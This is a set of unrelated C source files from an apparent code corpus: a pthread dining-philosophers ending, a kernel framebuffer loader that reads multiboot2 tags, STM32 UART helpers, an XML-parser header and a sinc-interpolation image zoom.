pthread_t *pt = (pthread_t *)malloc(sizeof(pthread_t) * N);
int *id = (int *)malloc(sizeof(int) * N);
for (int i = 0; i < N; i++)
{
id[i] = i;
if (pthread_create(&pt[i], NULL, philosopher, &id[i]) != 0)
{
printf("thread create failed!\n");
return 1;
}
}
for (int i = 0; i < N; i++)
{
pthread_join(pt[i], NULL);
}
for (int i = 0; i < N; i++)
{
pthread_mutex_destroy(&mutexChopsticks[i]);
}
pthread_mutex_destroy(&mutexNoodles);
return 0;
}
|
C
|
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "framebuffer.h"
#include "../../third_party/multiboot2.h"
#include "text_terminal.h"
#include "virtual_allocator.h"
// #define DEBUG
// Frame buffer details we saved from the multiboot header.
size_t framebuffer_address;
uint32 framebuffer_width;
uint32 framebuffer_height;
uint32 framebuffer_pitch;
uint8 framebuffer_bits_per_pixel;
// Initializes the framebuffer details.
void SetFramebufferDetails(
size_t address,
uint32 width, uint32 height, uint32 pitch,
uint8 bpp) {
framebuffer_address = address;
framebuffer_width = width;
framebuffer_height = height;
framebuffer_pitch = pitch;
framebuffer_bits_per_pixel = bpp;
#ifdef DEBUG
PrintString("Entered framebuffer during boot: ");
PrintNumber((size_t)framebuffer_width); PrintString("x");
PrintNumber((size_t)framebuffer_height); PrintString("x");
PrintNumber((size_t)framebuffer_bits_per_pixel); PrintString(" @ ");
PrintHex((size_t)framebuffer_address); PrintString("\n");
#endif
}
// Maybe load the framebuffer from the multiboot header.
void MaybeLoadFramebuffer() {
// Initialize to empty values, in case we don't find a framebuffer in the
// multiboot header.
framebuffer_address = 0;
framebuffer_width = 0;
framebuffer_height = 0;
framebuffer_pitch = 0;
framebuffer_bits_per_pixel = 0;
// We are now in higher half memory, so we have to add VIRTUAL_MEMORY_OFFSET.
struct multiboot_info* higher_half_multiboot_info =
(struct multiboot_info *)((size_t)&MultibootInfo + VIRTUAL_MEMORY_OFFSET);
// Loop through the multiboot sections.
struct multiboot_tag *tag;
for(tag = (struct multiboot_tag *)(size_t)(higher_half_multiboot_info->addr + 8 + VIRTUAL_MEMORY_OFFSET);
tag->type != MULTIBOOT_TAG_TYPE_END;
tag = (struct multiboot_tag *)((size_t) tag + (size_t)((tag->size + 7) & ~7))) {
// Found a framebuffer.
if(tag->type == MULTIBOOT_TAG_TYPE_FRAMEBUFFER) {
struct multiboot_tag_framebuffer *tagfb =
(struct multiboot_tag_framebuffer *) tag;
if(tagfb->common.framebuffer_type ==
MULTIBOOT_FRAMEBUFFER_TYPE_RGB) {
SetFramebufferDetails(
tagfb->common.framebuffer_addr,
tagfb->common.framebuffer_width,
tagfb->common.framebuffer_height,
tagfb->common.framebuffer_pitch,
tagfb->common.framebuffer_bpp);
} else {
PrintString("Found a VESA framebuffer tag, but the framebuffer "
"is not of type MULTIBOOT_FRAMEBUFFER_TYPE_RGB.\n");
}
}
}
}
// Populates the registers with framebuffer details.
void PopulateRegistersWithFramebufferDetails(
struct Registers* regs) {
regs->rax = framebuffer_address;
regs->rbx = (size_t)framebuffer_width;
regs->rdx = (size_t)framebuffer_height;
regs->rsi = (size_t)framebuffer_pitch;
regs->r8 = (size_t)framebuffer_bits_per_pixel;
}
|
C
|
/*
* UART.c
*
* Created on: Oct 14, 2014
* Author: CTCNGH
*/
#include "include.h"
//void delay_ms(uint16_t period);
void ConfigUART4(void)
{
USART_InitTypeDef USART_InitStructure;
GPIO_InitTypeDef GPIO_InitStructure;
/* Enable GPIO clock */
RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOC, ENABLE);
/* Enable UART clock */;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_UART4, ENABLE);
/* Connect UART4 and USART2 pins to AF2 */
GPIO_PinAFConfig(GPIOC, GPIO_PinSource10, GPIO_AF_UART4);
GPIO_PinAFConfig(GPIOC, GPIO_PinSource11, GPIO_AF_UART4);
/* GPIO Configuration for USART Tx */
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10 ;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(GPIOC, &GPIO_InitStructure);
/* GPIO Configuration for USART Rx */
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_11 ;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_Init(GPIOC, &GPIO_InitStructure);
/* USARTx configured as follow:
- BaudRate = 9600 baud
- Word Length = 8 Bits
- One Stop Bit
- No parity
- Hardware flow control disabled (RTS and CTS signals)
- Receive and transmit enabled
*/
USART_InitStructure.USART_BaudRate = 9600;
USART_InitStructure.USART_WordLength = USART_WordLength_8b;
USART_InitStructure.USART_StopBits = USART_StopBits_1;
USART_InitStructure.USART_Parity = USART_Parity_No;
USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;
USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;
USART_Init(UART4, &USART_InitStructure);
/* Enable USART */
USART_Cmd(UART4, ENABLE);
}
void UARTPut(USART_TypeDef* UART_Base, int32_t num2send)
{
int i;
int32_t temp=num2send;
for(i=4;i>0;i--)
{
USART_SendData(UART_Base, (char)((temp&0xff000000)>>24));
temp=temp<<8;
}
}
void UARTPutnlong(USART_TypeDef* UART_Base, long Num)
{
unsigned long temp = 1;
long NumTemp;
NumTemp = Num;
if (Num == 0)
{
USART_SendData(UART_Base, 48);
delay_ms(10);
}
else
{
if (Num < 0)
{
USART_SendData(UART_Base, '-');
// Delay after SendData
delay_ms(10);
Num *= -1;
}
while (NumTemp)
{
NumTemp /= 10;
temp *= 10;
}
temp /= 10;
while (temp)
{
USART_SendData(UART_Base,(Num / temp) % 10 + 48);
delay_ms(10);
temp /= 10;
}
}
}
void UARTFloatx(USART_TypeDef* UART_Base ,float fnum2send)
{
long NumTemp = fnum2send * 1000000;
long Num = NumTemp;
unsigned long temp = 1;
if (Num == 0)
{
USART_SendData( UART_Base,(uint16_t) 48 );
}
else
{
if (Num < 0)
{
USART_SendData( UART_Base, (uint16_t)'-');
Num *= -1;
}
while (NumTemp)
{
NumTemp /= 10;
temp *= 10;
}
temp /= 10;
while (temp)
{
USART_SendData( UART_Base, (uint16_t)((Num / temp) % 10 + 48) );
temp /= 10;
}
}
}
void UART_Print_Matrix(real_T a[4][4])
{
int i, j;
for ( i = 0; i < 4 ; ++i )
for ( j = 0; j < 4 ; ++j )
{
UARTPutnlong( UART4, a[i][j] );
delay_ms(100);
USART_SendData( UART4, (uint16_t)' ' );
if (j == 4 - 1) USART_SendData( UART4, (uint16_t)'\n' );
}
}
|
C
|
#ifndef __LSTM_XML_H__
#define __LSTM_XML_H__
#include <stdio.h>
// XML parsing state
struct LSTM_XML_PSTAT
{
int brStr; // Status of reading string in bracket
int aStrA; // Append string to list after append character
int aStrB; // Append string to list before append character
};
// XML attribute structure
struct LSTM_XML_ATTR
{
char* name;
char* content;
};
// XML element structure
struct LSTM_XML_ELEM
{
char* name;
char* text;
struct LSTM_XML_ATTR* attrList;
int attrLen;
struct LSTM_XML_ELEM* elemList;
int elemLen;
};
// XML structure
struct LSTM_XML
{
struct LSTM_XML_ATTR* header;
int headLen;
struct LSTM_XML_ELEM* elemList;
int elemLen;
};
#ifdef __cplusplus
extern "C" {
#endif
// Public functions
int lstm_xml_parse(struct LSTM_XML* xmlPtr, const char* filePath);
void lstm_xml_delete(struct LSTM_XML* xmlPtr);
void lstm_xml_fprint(FILE* fptr, struct LSTM_XML* xmlPtr);
struct LSTM_XML_ELEM* lstm_xml_get_element(struct LSTM_XML_ELEM* elemPtr, const char* elemName);
struct LSTM_XML_ELEM* lstm_xml_get_element_root(struct LSTM_XML* xmlPtr, const char* elemName);
// Private functions
void lstm_xml_fprint_attribute(FILE* fptr, struct LSTM_XML_ATTR* attrPtr, int attrLen);
void lstm_xml_fprint_element(FILE* fptr, struct LSTM_XML_ELEM* elemPtr, int indent);
void lstm_xml_fprint_indent(FILE* fptr, int indent);
int lstm_xml_fread_to_end(char** strPtr, int* lenPtr, const char* filePath);
void lstm_xml_elem_delete(struct LSTM_XML_ELEM* xmlElemPtr);
void lstm_xml_attr_delete(struct LSTM_XML_ATTR* xmlAttrPtr);
int lstm_xml_parse_header(struct LSTM_XML* xmlPtr, const char** strList, char*** endPtr);
int lstm_xml_parse_element(struct LSTM_XML* xmlPtr, const char** strList);
int lstm_xml_parse_attribute(char** tagPtr, struct LSTM_XML_ATTR** attrListPtr, int* attrLenPtr, const char* attrStr);
int lstm_xml_get_strlist(char*** strListPtr, const char* xmlSrc, int xmlLen);
int lstm_xml_split(char*** strListPtr, int* strCountPtr, const char* src);
#ifdef __cplusplus
}
#endif
#endif
|
C
|
#include <stdio.h>
#include <math.h>
//#include <malloc.h>
#include <stdlib.h>
#define K 13
#define DK 6
/*--------------------------------------------------------------------------------------*/
double roundval( double x )
{
if ( x > 0.0 )
return( floor(x+0.5) );
else
return( -floor(-x+0.5) );
}
/*--------------------------------------------------------------------------------------*/
int prop_szoom_c(const void *image_input, int size_in, void *image_output, int size_out, double mag )
{
double val, x, y, x_in, x_phase, y_in;
double **sinc_table;
int i, ik, ikx, iky, ix, iy, x1, x2, x_pix, x_out, y1, y2, y_pix, y_out;
const double *image_in = (double *)image_input;
double *image_out = (double *)image_output;
/* Precompute table of sinc kernel coefficients. Because this routine *
* only expands or contracts the square image symmetrically about the *
* center, just the kernel components for one axis are needed. */
sinc_table = (double **)malloc( size_out * sizeof(double *) );
for ( i = 0; i < size_out; ++i )
sinc_table[i] = (double *)malloc( K * sizeof(double) );
for ( x_out = 0; x_out < size_out; ++x_out )
{
x_in = (x_out - size_out/2) / mag;
x_phase = x_in - roundval(x_in);
for ( ik = 0; ik < K; ++ik )
{
x = (ik - K/2) - x_phase;
if ( fabs(x) <= DK )
{
if ( x != 0.0 )
{
x = x * 3.141592653589793;
sinc_table[x_out][ik] = sin(x)/x * sin(x/DK)/(x/DK);
}
else
sinc_table[x_out][ik] = 1.0;
}
else
{
sinc_table[x_out][ik] = 0.0;
}
}
}
for ( y_out = 0; y_out < size_out; ++y_out )
{
y_in = (y_out - size_out/2) / mag;
y_pix = roundval(y_in) + size_in/2;
y1 = y_pix - K/2;
y2 = y_pix + K/2;
if ( (y1 < 0) || (y2 >= size_in) )
continue;
for ( x_out = 0; x_out < size_out; ++x_out )
{
x_in = (x_out - size_out/2) / mag;
x_pix = roundval(x_in) + size_in/2;
x1 = x_pix - K/2;
x2 = x_pix + K/2;
if ( (x1 < 0) || (x2 >= size_in) )
continue;
val = 0.0;
iky = 0;
for ( iy = y1; iy <= y2; ++iy )
{
ikx = 0;
for ( ix = x1; ix <= x2; ++ix )
{
val = val + image_in[iy*(long)size_in+ix] * sinc_table[y_out][iky] * sinc_table[x_out][ikx];
++ikx;
}
++iky;
}
image_out[y_out*(long)size_out+x_out] = val;
}
}
for ( i = 0; i < size_out; ++i )
free( sinc_table[i] );
free( sinc_table );
return( 0 );
} /* prop_szoom_c */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.